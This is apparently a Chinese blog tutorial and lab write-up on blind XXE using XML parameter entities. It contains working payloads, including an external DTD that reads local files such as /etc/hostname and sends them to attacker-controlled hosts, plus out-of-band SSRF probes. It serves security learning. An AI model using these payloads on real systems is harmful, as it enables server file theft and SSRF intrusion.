XXE 使用参数实体带外

XXE 使用参数实体带外

注:以下环境均为靶场实验环境。

使用参数实体带外测试

如果 WEB 应用程序的输入校验或 XML 解析器的强化导致常规实体的 XXE 攻击被阻止,可以尝试 XML 参数实体的 XXE 攻击。

常规实体与参数实体的区别

  • 语法差异:
    • 常规实体:<!ENTITY myentity "value">,引用用&myentity;
    • 参数实体:<!ENTITY % myparam "value">,引用用%myparam;
  • 作用域限制:
    • 参数实体只能在DTD内部使用(包括内部子集和外部DTD)
    • 常规实体在XML文档内容部分中使用

如下案例:

使用参数实体带外。

<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://www.oswe.com/pikachu/"> %xxe;]>
<user>
  <name>Alice</name>
  <email>nihao</email>
</user>

在这里插入图片描述

当你把它改为通用实体时,会报错,因为解析器不支持他在 dtd 内应用(通用实体在 xml 文档内容部分使用)。

在这里插入图片描述

这也算参数实体的一种优势吧,能在引入 dtd 阶段就进行展开,相比于常规实体,它展开的更早,不依赖 xml 文档内容进行注入。例如常规实体必须在如下位置进行利用:

<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://www.oswe.com/pikachu/"> %xxe;]>       <-- 参数实体利用位置
<user>
  <name>常规实体利用位置</name>
  <email>常规实体利用位置</email>
</user>

# 而且如果目标对 xml 正文有检测的话,参数实体一定程度上能绕过检测。

常规带外测试

可以看到进行如下攻击只给个提示不回显数据。但是此情况下,没有对参数进行校验,只是不回显数据,在参数内引用通用实体仍然会触发 ssrf。

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>10000001</productId><storeId>100000001</storeId></stockCheck>

在这里插入图片描述

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://f6msdym6qiznm92r72tnoot0mrsigc41.oastify.com"> ]>
<stockCheck><productId>1</productId><storeId>&xxe;</storeId></stockCheck>
											^^^^^^^
										  常规实体利用位置:位于 xml 正文

使用参数实体带外测试

适用于后端程序对所给参数进行校验,导致无法从参数进行攻击,只能在 DTD 内部进行 ssrf 攻击的场景。

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "https://3dh7vgbtma2ziyd62n0eg92oyf46swgl.oastify.com"> %xxe;]>
																							  ^^^^^^^^
																						参数实体利用位置:位于 dtd 内部

在这里插入图片描述

XXE 盲注外带数据

XXE 外带数据需要引入外部 DTD(内部 DTD 无效,因为内部 DTD 不支持嵌套语法,而 XXE 带外数据依赖嵌套语法)。

XXE 数据带外案例

外部 DTD payload:

# 使用参数实体进行嵌套,使得目标系统的数据被带外到攻击者服务器。
<!ENTITY % file SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://www.oswe.com/attackspace/log.php/?x=%file;'>">
%eval;
%exfiltrate;
# 如果引入以上 DTD ,服务器将动态发送本地 hosts 文件到攻击者网站。

服务器引入此 DTD:

# 一般情况下仍然使用参数实体引入 dtd,有如下两方面原因:
# 一方面因为参数实体可以在内部 dtd 里过早展开的优势。
# 另一方面因为某些解析器会禁止引入外部实体,但允许参数实体引入外部 dtd。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://www.oswe.com/attackspace/test.dtd">
  %xxe;
]>
<user>
  <name>Alice</name>
  <email>nihao</email>
</user>
解释:

这是一个嵌套解析的过程,当引入外部恶意 DTD 后,DTD 自动引用 %eval; 将 %eval; 替换为如下字符串:

<!ENTITY &#x25; exfiltrate SYSTEM 'http://www.oswe.com/attackspace/log.php/?x=%file;'>

然而替换之后,xml 解析器会再一次解析替换完成后的字符。

1.%eval; 被替换成如下字符:
2.<!ENTITY &#x25; exfiltrate SYSTEM 'http://www.oswe.com/attackspace/log.php/?x=%file;'>
3.替换后,xml 再进行了一次解析,将如上字符串认定为 exfiltrate 参数实体的声明。
4.然后再展开它:%exfiltrate;,展开它是将发送 http 请求。
5.请求中又遇到了一个参数实体 %file;,将其替换为敏感文件内容。
整体过程
  1. 准备恶意 DTD

    将上面的 DTD 内容保存为外部 DTD,并上传至攻击者可控的 Web 服务器(如 http://web‑attacker.com/malicious.dtd)。

  2. 构造 XXE payload

    在目标应用可提交 XML 的地方,嵌入对外部 DTD 的引用。例如:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
      <!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd">
      %xxe;
    ]>
    <foo>test</foo>
    

实验

带外检测

<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://3y2gd7xi5c2j9zz21kfz5i41qswjkk89.oastify.com"> %xxe;]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "https://3y2gd7xi5c2j9zz21kfz5i41qswjkk89.oastify.com"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

在这里插入图片描述

存在带外:

在这里插入图片描述

内部 dtd 的话失效:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://3y2gd7xi5c2j9zz21kfz5i41qswjkk89.oastify.com/?x=%file;'>">
  %eval;
  %exfil;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

在这里插入图片描述

尝试参数实体引入外部 dtd:

# 存储在攻击者服务器上:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://3y2gd7xi5c2j9zz21kfz5i41qswjkk89.oastify.com/?x=%file;'>">
%eval;
%exfil;

# 参数实体引入:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aa400e2040678c3826c82f30146008e.exploit-server.net/exploit"> %xxe;]>

# 利用成功:

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值